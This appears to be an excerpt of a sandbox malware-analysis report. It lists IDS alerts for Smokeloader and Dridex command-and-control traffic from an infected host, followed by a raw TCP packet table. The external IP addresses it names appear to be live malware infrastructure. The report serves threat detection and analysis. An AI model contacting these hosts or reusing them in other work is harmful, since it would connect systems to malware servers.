2024-10-08T00:20:08.187550+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49749	109.175.29.39	80	TCP
2024-10-08T00:20:08.988328+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49750	109.175.29.39	80	TCP
2024-10-08T00:20:09.999180+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49751	109.175.29.39	80	TCP
2024-10-08T00:20:10.795484+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49752	109.175.29.39	80	TCP
2024-10-08T00:20:11.585121+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49753	109.175.29.39	80	TCP
2024-10-08T00:20:12.351541+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49754	109.175.29.39	80	TCP
2024-10-08T00:20:13.116137+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49755	109.175.29.39	80	TCP
2024-10-08T00:20:14.108812+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49756	109.175.29.39	80	TCP
2024-10-08T00:20:14.977527+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49757	109.175.29.39	80	TCP
2024-10-08T00:20:15.765843+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49758	109.175.29.39	80	TCP
2024-10-08T00:20:16.759382+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49759	109.175.29.39	80	TCP
2024-10-08T00:20:19.925424+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49761	109.175.29.39	80	TCP
2024-10-08T00:20:20.864927+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49762	109.175.29.39	80	TCP
2024-10-08T00:20:21.652306+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49763	109.175.29.39	80	TCP
2024-10-08T00:20:22.408715+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49764	109.175.29.39	80	TCP
2024-10-08T00:20:23.179852+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49765	109.175.29.39	80	TCP
2024-10-08T00:20:23.967118+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49767	109.175.29.39	80	TCP
2024-10-08T00:20:24.908316+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49773	109.175.29.39	80	TCP
2024-10-08T00:20:26.073161+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49774	109.175.29.39	80	TCP
2024-10-08T00:20:26.858013+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49786	109.175.29.39	80	TCP
2024-10-08T00:20:42.524219+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49882	23.145.40.168	443	TCP
2024-10-08T00:20:42.888093+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49882	23.145.40.168	443	TCP
2024-10-08T00:20:43.053544+0200	2829848	ETPRO MALWARE SmokeLoader encrypted module (3)	2	23.145.40.168	443	192.168.2.4	49882	TCP
2024-10-08T00:20:43.856995+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49890	23.145.40.168	443	TCP
2024-10-08T00:20:44.200827+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49890	23.145.40.168	443	TCP
2024-10-08T00:20:44.985987+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49898	23.145.40.168	443	TCP
2024-10-08T00:20:45.235539+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49898	23.145.40.168	443	TCP
2024-10-08T00:20:45.842246+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49902	23.145.40.168	443	TCP
2024-10-08T00:20:46.119294+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49902	23.145.40.168	443	TCP
2024-10-08T00:20:46.708528+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49913	23.145.40.168	443	TCP
2024-10-08T00:20:46.993552+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49913	23.145.40.168	443	TCP
2024-10-08T00:20:47.583687+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49919	23.145.40.168	443	TCP
2024-10-08T00:20:47.872357+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49919	23.145.40.168	443	TCP
2024-10-08T00:20:49.538695+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49925	23.145.40.168	443	TCP
2024-10-08T00:20:49.815775+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49925	23.145.40.168	443	TCP
2024-10-08T00:20:50.760609+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49931	23.145.40.168	443	TCP
2024-10-08T00:20:51.040714+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49931	23.145.40.168	443	TCP
2024-10-08T00:20:51.653515+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49941	23.145.40.168	443	TCP
2024-10-08T00:20:51.921800+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49941	23.145.40.168	443	TCP
2024-10-08T00:20:52.681299+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49948	23.145.40.168	443	TCP
2024-10-08T00:20:52.967975+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49948	23.145.40.168	443	TCP
2024-10-08T00:20:53.570072+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49954	23.145.40.168	443	TCP
2024-10-08T00:20:53.854687+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49954	23.145.40.168	443	TCP
2024-10-08T00:20:55.270683+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49960	23.145.40.168	443	TCP
2024-10-08T00:20:55.555195+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49960	23.145.40.168	443	TCP
2024-10-08T00:20:56.144229+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49966	23.145.40.168	443	TCP
2024-10-08T00:20:56.434723+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49966	23.145.40.168	443	TCP
2024-10-08T00:20:57.019675+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49972	23.145.40.168	443	TCP
2024-10-08T00:20:57.296278+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49972	23.145.40.168	443	TCP
2024-10-08T00:20:57.887464+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49978	23.145.40.168	443	TCP
2024-10-08T00:20:58.168391+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49978	23.145.40.168	443	TCP
2024-10-08T00:20:58.778951+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49984	23.145.40.168	443	TCP
2024-10-08T00:20:59.035838+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49984	23.145.40.168	443	TCP
2024-10-08T00:20:59.634156+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49994	23.145.40.168	443	TCP
2024-10-08T00:21:00.185280+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49994	23.145.40.168	443	TCP
2024-10-08T00:21:01.242575+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50001	23.145.40.168	443	TCP
2024-10-08T00:21:01.521449+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50001	23.145.40.168	443	TCP
2024-10-08T00:21:02.152391+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50007	23.145.40.168	443	TCP
2024-10-08T00:21:02.425405+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50007	23.145.40.168	443	TCP
2024-10-08T00:21:03.074243+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50013	23.145.40.168	443	TCP
2024-10-08T00:21:03.346072+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50013	23.145.40.168	443	TCP
2024-10-08T00:21:11.009960+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50050	23.145.40.168	443	TCP
2024-10-08T00:21:33.567262+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50057	109.175.29.39	80	TCP
2024-10-08T00:21:35.197944+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50058	109.175.29.39	80	TCP
2024-10-08T00:21:37.723611+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50059	109.175.29.39	80	TCP
2024-10-08T00:21:39.805320+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50060	109.175.29.39	80	TCP
2024-10-08T00:21:52.355257+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50061	109.175.29.39	80	TCP
2024-10-08T00:22:08.472860+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50062	109.175.29.39	80	TCP
2024-10-08T00:22:27.583209+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50063	23.145.40.168	443	TCP
2024-10-08T00:22:27.911815+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50063	23.145.40.168	443	TCP
2024-10-08T00:22:30.172982+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50064	211.171.233.129	80	TCP
2024-10-08T00:22:49.728426+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50065	23.145.40.168	443	TCP
2024-10-08T00:22:50.083810+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50065	23.145.40.168	443	TCP
2024-10-08T00:22:52.888320+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50066	211.171.233.129	80	TCP
2024-10-08T00:23:14.226648+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50067	23.145.40.168	443	TCP
2024-10-08T00:23:14.580007+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50067	23.145.40.168	443	TCP
2024-10-08T00:23:20.288275+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50068	211.171.233.129	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 00:19:55.730796099 CEST	49736	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:55.736869097 CEST	80	49736	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:55.736978054 CEST	49736	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:55.737164021 CEST	49736	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:55.737196922 CEST	49736	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:55.743798018 CEST	80	49736	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:55.745457888 CEST	80	49736	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:56.520555973 CEST	80	49736	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:56.521239996 CEST	80	49736	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:56.521296978 CEST	49736	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:56.533974886 CEST	49736	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:56.541193008 CEST	80	49736	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:57.165617943 CEST	49737	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:57.172564983 CEST	80	49737	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:57.172641993 CEST	49737	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:57.174031019 CEST	49737	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:57.174042940 CEST	49737	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:57.180686951 CEST	80	49737	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:57.182286978 CEST	80	49737	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:57.933917046 CEST	80	49737	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:57.933943033 CEST	80	49737	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:57.933998108 CEST	49737	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:57.934154987 CEST	49737	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:57.936903954 CEST	49738	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:57.941179037 CEST	80	49737	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:57.944029093 CEST	80	49738	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:57.944099903 CEST	49738	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:57.944235086 CEST	49738	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:57.944255114 CEST	49738	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:57.952708960 CEST	80	49738	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:57.953169107 CEST	80	49738	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:58.701877117 CEST	80	49738	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:58.701967001 CEST	80	49738	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:58.702025890 CEST	49738	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:58.702208996 CEST	49738	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:58.705020905 CEST	49739	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:58.706980944 CEST	80	49738	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:58.709888935 CEST	80	49739	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:58.709959030 CEST	49739	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:58.710067034 CEST	49739	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:58.710134983 CEST	49739	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:58.714973927 CEST	80	49739	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:58.715029955 CEST	80	49739	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:59.466635942 CEST	80	49739	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:59.466762066 CEST	80	49739	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:59.466826916 CEST	49739	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:59.467236042 CEST	49739	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:59.469521046 CEST	49740	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:59.472121954 CEST	80	49739	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:59.474514961 CEST	80	49740	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:59.474579096 CEST	49740	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:59.474740028 CEST	49740	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:59.474785089 CEST	49740	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:19:59.479492903 CEST	80	49740	109.175.29.39	192.168.2.4
Oct 8, 2024 00:19:59.479638100 CEST	80	49740	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:00.843122959 CEST	80	49740	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:00.843162060 CEST	80	49740	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:00.843225956 CEST	49740	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:00.843415022 CEST	49740	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:00.846532106 CEST	49741	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:00.848227978 CEST	80	49740	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:00.851527929 CEST	80	49741	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:00.851618052 CEST	49741	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:00.851763964 CEST	49741	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:00.851783991 CEST	49741	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:00.856611013 CEST	80	49741	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:00.856729031 CEST	80	49741	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:01.602030993 CEST	80	49741	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:01.602149963 CEST	80	49741	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:01.602247953 CEST	49741	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:01.602365017 CEST	49741	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:01.604976892 CEST	49742	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:01.609704971 CEST	80	49741	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:01.611361027 CEST	80	49742	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:01.611439943 CEST	49742	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:01.611601114 CEST	49742	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:01.611614943 CEST	49742	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:01.618072987 CEST	80	49742	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:01.619208097 CEST	80	49742	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:02.372348070 CEST	80	49742	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:02.373110056 CEST	80	49742	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:02.373194933 CEST	49742	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:02.386465073 CEST	49742	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:02.393029928 CEST	80	49742	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:02.438643932 CEST	49743	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:02.446197033 CEST	80	49743	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:02.446297884 CEST	49743	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:02.449340105 CEST	49743	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:02.449341059 CEST	49743	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:02.455744028 CEST	80	49743	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:02.457406044 CEST	80	49743	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:03.356353045 CEST	80	49743	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:03.356946945 CEST	80	49743	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:03.357048988 CEST	49743	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:03.390594006 CEST	49743	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:03.397942066 CEST	80	49743	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:03.450066090 CEST	49744	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:03.457339048 CEST	80	49744	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:03.457442045 CEST	49744	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:03.457595110 CEST	49744	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:03.458580971 CEST	49744	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:03.464298964 CEST	80	49744	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:03.466051102 CEST	80	49744	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:04.230143070 CEST	80	49744	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:04.230623960 CEST	80	49744	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:04.230689049 CEST	49744	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:04.230730057 CEST	49744	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:04.234414101 CEST	49745	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:04.237746000 CEST	80	49744	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:04.240621090 CEST	80	49745	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:04.240715981 CEST	49745	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:04.240966082 CEST	49745	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:04.241074085 CEST	49745	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:04.246997118 CEST	80	49745	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:04.247123003 CEST	80	49745	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:05.016217947 CEST	80	49745	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:05.016556978 CEST	80	49745	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:05.016634941 CEST	49745	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:05.016676903 CEST	49745	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:05.019660950 CEST	49746	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:05.023840904 CEST	80	49745	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:05.026969910 CEST	80	49746	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:05.028295040 CEST	49746	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:05.028496027 CEST	49746	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:05.028522015 CEST	49746	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:05.035561085 CEST	80	49746	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:05.037798882 CEST	80	49746	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:05.781755924 CEST	80	49746	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:05.782242060 CEST	80	49746	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:05.782303095 CEST	49746	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:05.782428026 CEST	49746	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:05.785281897 CEST	49747	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:05.791596889 CEST	80	49746	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:05.792692900 CEST	80	49747	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:05.792794943 CEST	49747	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:05.793008089 CEST	49747	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:05.793045044 CEST	49747	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:05.800195932 CEST	80	49747	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:05.801297903 CEST	80	49747	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:06.618855953 CEST	80	49747	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:06.621561050 CEST	80	49747	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:06.621612072 CEST	49747	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:06.621665001 CEST	49747	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:06.624871969 CEST	49748	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:06.628721952 CEST	80	49747	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:06.632170916 CEST	80	49748	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:06.632250071 CEST	49748	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:06.632400036 CEST	49748	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:06.632436991 CEST	49748	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:06.639380932 CEST	80	49748	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:06.639411926 CEST	80	49748	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:07.424420118 CEST	80	49748	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:07.425009966 CEST	80	49748	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:07.425060034 CEST	49748	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:07.425307989 CEST	49748	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:07.427958965 CEST	49749	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:07.431296110 CEST	80	49748	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:07.433876991 CEST	80	49749	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:07.433937073 CEST	49749	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:07.434107065 CEST	49749	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:07.434158087 CEST	49749	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:07.439353943 CEST	80	49749	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:07.439364910 CEST	80	49749	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:08.185679913 CEST	80	49749	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:08.187486887 CEST	80	49749	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:08.187550068 CEST	49749	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:08.195981026 CEST	49749	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:08.198646069 CEST	49750	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:08.202512026 CEST	80	49749	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:08.205338001 CEST	80	49750	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:08.205423117 CEST	49750	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:08.205815077 CEST	49750	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:08.205854893 CEST	49750	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:08.212004900 CEST	80	49750	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:08.213663101 CEST	80	49750	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:08.987888098 CEST	80	49750	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:08.988256931 CEST	80	49750	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:08.988327980 CEST	49750	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:08.988379002 CEST	49750	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:08.990876913 CEST	49751	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:08.994833946 CEST	80	49750	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:08.997648954 CEST	80	49751	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:08.997725010 CEST	49751	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:08.997863054 CEST	49751	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:08.997879982 CEST	49751	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:09.004854918 CEST	80	49751	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:09.005728006 CEST	80	49751	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:09.998981953 CEST	80	49751	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:09.999119997 CEST	80	49751	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:09.999180079 CEST	49751	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:09.999495983 CEST	49751	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:10.002443075 CEST	49752	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:10.007442951 CEST	80	49751	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:10.009107113 CEST	80	49752	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:10.009295940 CEST	49752	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:10.009479046 CEST	49752	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:10.009502888 CEST	49752	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:10.016176939 CEST	80	49752	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:10.017062902 CEST	80	49752	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:10.795332909 CEST	80	49752	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:10.795372009 CEST	80	49752	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:10.795484066 CEST	49752	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:10.795602083 CEST	49752	80	192.168.2.4	109.175.29.39
